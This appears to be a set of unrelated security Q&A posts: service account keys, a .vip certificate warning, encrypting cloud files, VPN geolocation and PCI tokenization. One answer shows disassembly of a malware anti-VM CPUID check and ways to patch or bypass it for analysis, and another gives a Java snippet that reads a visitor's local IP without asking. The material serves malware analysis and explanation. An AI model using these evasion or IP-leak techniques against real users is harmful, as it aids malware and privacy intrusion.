Service Account JSON key files are assumed to start in a secure environment. User Credentials are assumed to start in an insecure environment.

Service account credentials are typically used for service-to-service, installed software, etc authentication/authorization that may happen over and over again.

If you are using the same service account for each user, then yes, you lose a piece of the audit trail. However, you should not be distributing one service account JSON key with the application. You should issue a different service account to each user. Your example then becomes john-smith@myproject.iam.gserviceaccount.com. The user should protect the service account credentials in the same manner that he would protect his email credentials.


Why does Samsung Android browser say our site has a valid certificate, but the site identity has not been verified? Our website using Let's Encrypt through Nginx is all green on SSLLabs test (A- score).

But on one Android phone it accepts the certificate and sees the trust chain up to the root certifying authority, but still says the site isn't fully trusted:

here's the certificate info:

How do we fix this?

Partial quote of the text in the first image:

  The identity of this website has not been verified. The identity of
  the server to which you are connected cannot be fully validated. You
  are connected to a server using a name valid only within your network,
  and an external certificate authority has no way to validate
  ownership.

Browser is Samsung 'Internet' version 3.5.38

I don't think you can do anything about it but to upgrade your Android.

The problem here is a generic top-level domain .vip and older Android versions do not recognise them as public (hence the "a name valid only within your network" message). It's a known problem and Wikipedia lists it as one of the technical issues with these domains.

With Internet app version 4.0 on Android Marshmallow, your certificate is verified properly.

The Internet application is a component of Android, so it's not Samsung, but Google.


Fake output of CPUID instruction I am trying to analyze a malware in a virtual machine (linux), but it uses the cpuid output to verify if it is in a virtual machine/sandbox, and refuses to run malign code if inside a virtualized environment.

Is it possible to change/fake the output of the cpuid instruction, so that when the malware checks for the cpuid flags, it sees the cpuid of a non-virtualized machine?

I know that I can bypass that by changing the KVM config (like in section 'VM Detection countermeasures' from this tutorial), but I want to know if it is possible to do so from inside the guest machine, without changing the config in the host computer?

I thought about this possible solution:

1- $ set cpuid instruction output to X

2- $ run malware

3- when malware calls cpuid, it will see the flags of a non-virtualized environment and will execute malign code

Is there a command that does item 1? Or is there any other way that I can accomplish this without changing the KVM config from the host?

The CPUID returned value need to be store somewhere before being check against some known virtualization CPUID value.

It's hard to change your "hardware" sandbox CPUID value, but you can always fool the malware by editing the CPUID that your system is returning.

In a disassembler, try to locate where the cpuid instruction is used.
You should see something like:

 xor    eax, eax
 mov    eax,0x40000000
 cpuid
 cmp ecx,0x4D566572
 jne <somewhere_else>

The cpuid syscall description is the following:

  Returns processor identification and feature information to the EAX, EBX, ECX, and EDX registers, according to the input value entered initially in the EAX register.

In the above code snippet, the cpuid instruction is initialize with the AEX argument = "0x40000000", witch will ask to return the "Hypervisor brand" of your system.

Then, after the cpuid syscall, the ECX register's value is checked against "0x4D566572", which is a VMware related CPUID value.

In order to bypass this verification, set a breakpoint right after the cpuid instruction, and edit the registers as you want in to simulate a "non-virtual" environment.

You can also patch the malicious binary by replacing the cpuid code by some NOPs. This will completely remove the cpuid check.

Or you can edit the conditional jump that follow the cpuid value comparison, and make it useless.


Protecting personal documents in cloud I want to keep my personal documents in cloud e.g. Dropbox. But I want some of my documents be encryted and password protected, such that:
1. even if my Dropbox gets hacked, those documents still have one more security
2. I can still access the documents from another computer when needed

I looked about and found truecrypt and encrypting while compressing. Are there other easier methods?

GPG offers symetric encryption of single files which can be integrated with most file managers.

Ususally this works in some way where you right click on a file and select "encrypt" from a context menu. This is common with dolphin and nautilus and there is probably some solution to do this in windows explorer as well.

Alternatively there are encryption layers for file systems. In GNU/Linux for example you could use fuse encfs, to have a folder encrypted. You can set up your dropbox client to only sync the encrypted folder while working on the mounted unencripted representation.

Even easier: encfs offers a reverse view: you can take an unencrypted folder and mount it to folder which then contains a virtual, encrypted representation of the files. Have this crypto view synced via dropbox and you wouldn't even change your workflow.


How does Google Maps know where I am, when I'm using a VPN? How does Google Maps determine my location?

I've gotten some understanding of Google Maps' geolocation methods from here:
http://friendlybit.com/js/geolocation-and-google-maps/

  In the newer browsers (all but IE6, IE7, or IE8) may ask you for your
  positioning information from the browser. It usually shows up as a bar
  at the top of the browser. The browser then gathers two specific forms
  of positioning information from your computer: your IP address and the
  signal strength of any wireless network near you. That information is
  then sent, if you approve it, to Google, which returns the coordinates
  you are at the moment.

  [...]

  If your wireless reciever is turned off, or you’re at a stationary
  computer, all calculations are based on the IP number. These kind of
  lookups are quite arbitrary and inaccurate, I just get to the nearest
  big city when trying to use it over a non-wireless line. But mobile
  connections are slowly taking over landlines, so I guess this problem
  will solve itself automatically.

According to this article, Google only uses my IP address if I am using a desktop.  However, when I use a VPN to go online (and I can confirm that another IP geolocation service shows me as being on another continent), Google Maps is still able to accurately show my location.  How does this work?

If you consent, Firefox gathers information about nearby wireless access points and your computer’s IP address. Then Firefox sends this information to the default geolocation service provider...

https://www.mozilla.org/en-US/firefox/geolocation/

Firefox knows the IP address, which is used to connect to the VPN provider. Many geolocation services, however, only look at the IP address they see from the server side.

By the way: With java installed, a website can read the local ip-address without asking for permission.

new Socket("http://example.com", 80)).getLocalAddress().getHostAddress()

example.com needs to be replaced with the name website to obey the same origin policy.


Is it OK to generate a token for a credit card without the user's permission? Is that PCI compliant? Is it PCI compliant to generate a token for every card used for processing, regardless of whether the client asked for his card to be saved or not?

Short answer: Yes, it is PCI compliant.

Long answer:

The PCI DSS requires that card data be "rendered unreadable anywhere it is stored"; encryption and tokenization are the two most common methods.  But all that tokenization does is to provide a way to reference card data without some places storing card data.  It is most often used to permit a merchant to store and manipulate tokens handed to them by their processor; the processor is still storing the card data (encrypted) but have generated that token to allow the merchant to "use" the card without "having" the card.  It wouldn't make much sense for a single entity to generate tokens for their own use; tokens only work when they reference stored card data, and if you're storing card data, generating your own tokens for them won't alter your scope a whit.

The PCI DSS does not deal with the question of the client asking for the card to be stored or not.  When a client uses a credit card, they are implicitly accepting that their card data will be stored by one or more intermediary parties during and after the credit card authorization and settlement process.  While such requirements are not part of PCI DSS, credit card transaction records must be stored long enough to support card dispute and chargeback purposes.  That includes card number - you need the card number to handle a chargeback request.  The client's ability to say "Hey, I didn't buy that" and get their money back is one of the value-added services use of a credit card provides, and the card data need to be stored for that to happen.

You haven't specified which PCI-covered entity you're concerned about.  Merchants can avoid having to store cards using tools like tokenization.  Processors generally need to store cards.  Other "Service Providers" may or may not need to store cards; depends on what service they're providing.

If you're concerned from the POV of a client - you really can't do much.  You deal only with the merchant, who passes the card through a minimum of 1 and possibly more than 1 other entities during the act of processing.  All of them are allowed to store the data as long as they protect it as dictated by the PCI DSS.  The only way to opt out is to use cash.